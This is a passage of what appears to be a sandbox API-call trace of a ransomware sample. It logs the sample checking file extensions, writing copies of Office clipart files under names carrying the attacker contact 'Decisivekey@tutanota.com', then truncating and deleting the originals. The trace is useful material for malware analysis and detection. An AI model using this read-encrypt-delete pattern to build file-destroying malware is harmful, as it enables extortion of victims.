lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.734] lstrlenW (lpString=".ppt") returned 4 [0216.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0216.734] lstrlenW (lpString=".zip") returned 4 [0216.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.734] lstrlenW (lpString=".rar") returned 4 [0216.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.734] lstrlenW (lpString=".bz2") returned 4 [0216.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.734] lstrlenW (lpString=".7z") returned 3 [0216.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0216.734] lstrlenW (lpString=".dbf") returned 4 [0216.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0216.734] lstrlenW (lpString=".1cd") returned 4 [0216.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0216.734] lstrlenW (lpString=".jpg") returned 4 [0216.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.734] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=24320) returned 1 [0216.734] CloseHandle (hObject=0x194) returned 1 [0216.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0216.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.735] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.735] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.735] GetLastError () returned 0x0 [0216.735] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x5f00, lpOverlapped=0x0) returned 1 [0216.737] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x5f10, lpOverlapped=0x0) returned 1 [0216.737] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.738] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.738] SetEndOfFile (hFile=0x210) returned 1 [0216.738] CloseHandle (hObject=0x210) returned 1 [0216.738] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.738] SetEndOfFile (hFile=0x194) returned 1 [0216.739] CloseHandle (hObject=0x194) returned 1 [0216.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0216.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0216.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0216.739] lstrlenW (lpString=".doc") returned 4 [0216.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.739] lstrlenW (lpString=".docx") returned 5 [0216.739] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.739] lstrlenW (lpString=".pdf") returned 4 [0216.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.739] lstrlenW (lpString=".xls") returned 4 [0216.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.739] lstrlenW (lpString=".xlsx") returned 5 [0216.739] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.739] lstrlenW (lpString=".ppt") returned 4 [0216.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0216.739] lstrlenW (lpString=".zip") returned 4 [0216.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.739] lstrlenW (lpString=".rar") returned 4 [0216.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.739] lstrlenW (lpString=".bz2") returned 4 [0216.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.739] lstrlenW (lpString=".7z") returned 3 [0216.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0216.739] lstrlenW (lpString=".dbf") returned 4 [0216.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0216.740] lstrlenW (lpString=".1cd") returned 4 [0216.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0216.740] lstrlenW (lpString=".jpg") returned 4 [0216.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.740] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=24778) returned 1 [0216.740] CloseHandle (hObject=0x194) returned 1 [0216.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0216.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.740] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.740] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.741] GetLastError () returned 0x0 [0216.741] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x60ca, lpOverlapped=0x0) returned 1 [0216.956] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x60d0, lpOverlapped=0x0) returned 1 [0216.957] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.957] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.957] SetEndOfFile (hFile=0x210) returned 1 [0216.957] CloseHandle (hObject=0x210) returned 1 [0216.958] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.958] SetEndOfFile (hFile=0x194) returned 1 [0216.959] CloseHandle (hObject=0x194) returned 1 [0216.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0216.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0216.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0216.993] lstrlenW (lpString=".doc") returned 4 [0216.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.993] lstrlenW (lpString=".docx") returned 5 [0216.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.993] lstrlenW (lpString=".pdf") returned 4 [0216.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.994] lstrlenW (lpString=".xls") returned 4 [0216.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.994] lstrlenW (lpString=".xlsx") returned 5 [0216.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.994] lstrlenW (lpString=".ppt") returned 4 [0216.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0216.994] lstrlenW (lpString=".zip") returned 4 [0216.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.994] lstrlenW (lpString=".rar") returned 4 [0216.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.994] lstrlenW (lpString=".bz2") returned 4 [0216.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.994] lstrlenW (lpString=".7z") returned 3 [0216.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0216.994] lstrlenW (lpString=".dbf") returned 4 [0216.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0216.994] lstrlenW (lpString=".1cd") returned 4 [0216.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0216.994] lstrlenW (lpString=".jpg") returned 4 [0216.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.994] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.994] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.995] GetLastError () returned 0x0 [0216.995] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x4780, lpOverlapped=0x0) returned 1 [0217.050] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x4790, lpOverlapped=0x0) returned 1 [0217.051] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0217.051] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.051] SetEndOfFile (hFile=0x210) returned 1 [0217.052] CloseHandle (hObject=0x210) returned 1 [0217.052] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.052] SetEndOfFile (hFile=0x194) returned 1 [0217.053] CloseHandle (hObject=0x194) returned 1 [0217.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0217.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0217.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0217.054] lstrlenW (lpString=".doc") returned 4 [0217.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.054] lstrlenW (lpString=".docx") returned 5 [0217.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.054] lstrlenW (lpString=".pdf") returned 4 [0217.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.054] lstrlenW (lpString=".xls") returned 4 [0217.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.054] lstrlenW (lpString=".xlsx") returned 5 [0217.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.054] lstrlenW (lpString=".ppt") returned 4 [0217.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0217.054] lstrlenW (lpString=".zip") returned 4 [0217.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.054] lstrlenW (lpString=".rar") returned 4 [0217.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.054] lstrlenW (lpString=".bz2") returned 4 [0217.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.054] lstrlenW (lpString=".7z") returned 3 [0217.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0217.054] lstrlenW (lpString=".dbf") returned 4 [0217.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0217.054] lstrlenW (lpString=".1cd") returned 4 [0217.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0217.054] lstrlenW (lpString=".jpg") returned 4 [0217.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.580] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=12520) returned 1 [0217.580] CloseHandle (hObject=0x1e8) returned 1 [0217.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0217.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0217.581] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.581] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0217.581] GetLastError () returned 0x0 [0217.581] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x30e8, lpOverlapped=0x0) returned 1 [0217.647] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x30f0, lpOverlapped=0x0) returned 1 [0217.659] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0217.664] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.664] SetEndOfFile (hFile=0x168) returned 1 [0217.664] CloseHandle (hObject=0x168) returned 1 [0217.665] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.665] SetEndOfFile (hFile=0x1e8) returned 1 [0217.666] CloseHandle (hObject=0x1e8) returned 1 [0217.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0217.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0217.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0217.666] lstrlenW (lpString=".doc") returned 4 [0217.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.666] lstrlenW (lpString=".docx") returned 5 [0217.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.666] lstrlenW (lpString=".pdf") returned 4 [0217.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.666] lstrlenW (lpString=".xls") returned 4 [0217.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.666] lstrlenW (lpString=".xlsx") returned 5 [0217.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.666] lstrlenW (lpString=".ppt") returned 4 [0217.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0217.666] lstrlenW (lpString=".zip") returned 4 [0217.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.666] lstrlenW (lpString=".rar") returned 4 [0217.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.666] lstrlenW (lpString=".bz2") returned 4 [0217.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.666] lstrlenW (lpString=".7z") returned 3 [0217.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0217.666] lstrlenW (lpString=".dbf") returned 4 [0217.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0217.666] lstrlenW (lpString=".1cd") returned 4 [0217.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0217.667] lstrlenW (lpString=".jpg") returned 4 [0217.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.667] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=14444) returned 1 [0217.667] CloseHandle (hObject=0x1e8) returned 1 [0217.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0217.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0217.667] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.667] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0217.668] GetLastError () returned 0x0 [0217.668] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x386c, lpOverlapped=0x0) returned 1 [0217.751] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x3870, lpOverlapped=0x0) returned 1 [0217.751] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, 